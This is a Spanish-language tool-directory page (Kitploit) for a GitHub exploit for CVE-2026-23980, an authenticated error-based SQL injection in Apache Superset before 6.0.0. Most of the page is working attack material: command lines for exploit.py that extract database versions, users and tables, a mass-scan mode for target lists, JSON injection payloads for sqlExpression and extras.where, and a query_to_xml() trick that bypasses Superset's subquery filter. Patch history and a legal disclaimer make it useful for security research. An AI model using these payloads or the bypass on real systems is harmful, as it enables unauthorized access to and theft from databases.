Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23980-Exploit — Exploit para CVE-2026-23980 — Inyección SQL basada en errores autenticada en Apache Superset < 6.0.0 mediante bypass de sqlExpression | Kitploit
Herramientas/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Exploit para CVE-2026-23980 — Inyección SQL basada en errores autenticada en Apache Superset < 6.0.0 mediante bypass de sqlExpression

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
hace 4 mesesAún no revisado
Compartir

CVE-2026-23980 - Inyección SQL autenticada en Apache Superset

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression va directo a la consulta. sin parametrización. sin esperanza.

Apache Superset < 6.0.0 permite a usuarios autenticados con acceso de lectura realizar inyección SQL basada en errores a través de los parámetros sqlExpression o where en el endpoint /api/v1/chart/data.

El filtro validate_adhoc_subquery() se evade utilizando funciones XML de PostgreSQL (query_to_xml, etc.) que ejecutan SQL como argumentos de función, invisibles para el tokenizador de sqlparse.

  • CVSS: 6.5 Medio (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (Inyección SQL)
  • Afectado: Apache Superset < 6.0.0
  • Corregido: Apache Superset 6.0.0
  • Autenticación requerida: Sí (acceso de lectura)
  • Base de datos: PostgreSQL (extracción basada en errores)

Cadena de ataque

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> columna adhoc sqlExpression / extras.where inyectado
  -> validate_adhoc_subquery() EVADIDO mediante query_to_xml()
  -> SQL crudo llega a PostgreSQL
  -> CAST((...) AS INT) el error filtra datos en la respuesta

Instalación

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Uso

Reconocimiento - identificar y enumerar fuentes de datos

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Probar si una fuente de datos es inyectable

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Extraer datos mediante SQLi basada en errores

root@kitploit:~
# Versión de la base de datos
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Usuarios de la base de datos
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# Listar tablas
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Usuario actual
python3 exploit.py ... --sql "SELECT current_user"

Evadir la validación de subconsultas con query_to_xml()

Cuando validate_adhoc_subquery() bloquea tu consulta (detecta FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

Esto envuelve la consulta en query_to_xml() que oculta la cláusula FROM al tokenizador.

Volcar múltiples filas

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Usar el punto de inyección WHERE

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Escaneo masivo

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Proxy a través de Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

Cómo funciona

Vectores de inyección

sqlExpression (por defecto) - inyectado en una definición de columna:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - inyectado en la cláusula extras.where:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Extracción basada en errores

El exploit utiliza el casting de tipos de PostgreSQL para filtrar datos:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL no puede convertir una cadena a entero, por lo que lanza:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

El valor filtrado se extrae del mensaje de error en la respuesta de la API.

Evasión de validación

La función has_table_query() de Superset busca FROM/JOIN para detectar subconsultas. La función query_to_xml() de PostgreSQL ejecuta SQL pero lo oculta como argumento de función:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

El tokenizador ve una llamada a función, no una cláusula FROM, evadiendo el filtro.

Análisis del parche

Referencias

  • NVD - CVE-2026-23980
  • Aviso de Apache
  • Quarkslab - Evasión de restricciones SQLi en Superset
  • OSS Security
  • CVE-2025-48912 - Evasión de RLS relacionada

Aviso legal

Esta herramienta es solo para investigación de seguridad autorizada. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba. El autor no es responsable del mal uso.

Descargar herramienta
Versión
Estado
< 4.0.2Vulnerable (sin lista negra de funciones XML)
4.0.2Corrección parcial (CVE-2024-39887 - se añadieron algunas funciones XML a la lista negra)
4.1.0Lista negra ampliada (más funciones XML)
4.1.2Evasión de seguridad a nivel de fila corregida (CVE-2025-48912)
6.0.0Corrección completa para CVE-2026-23980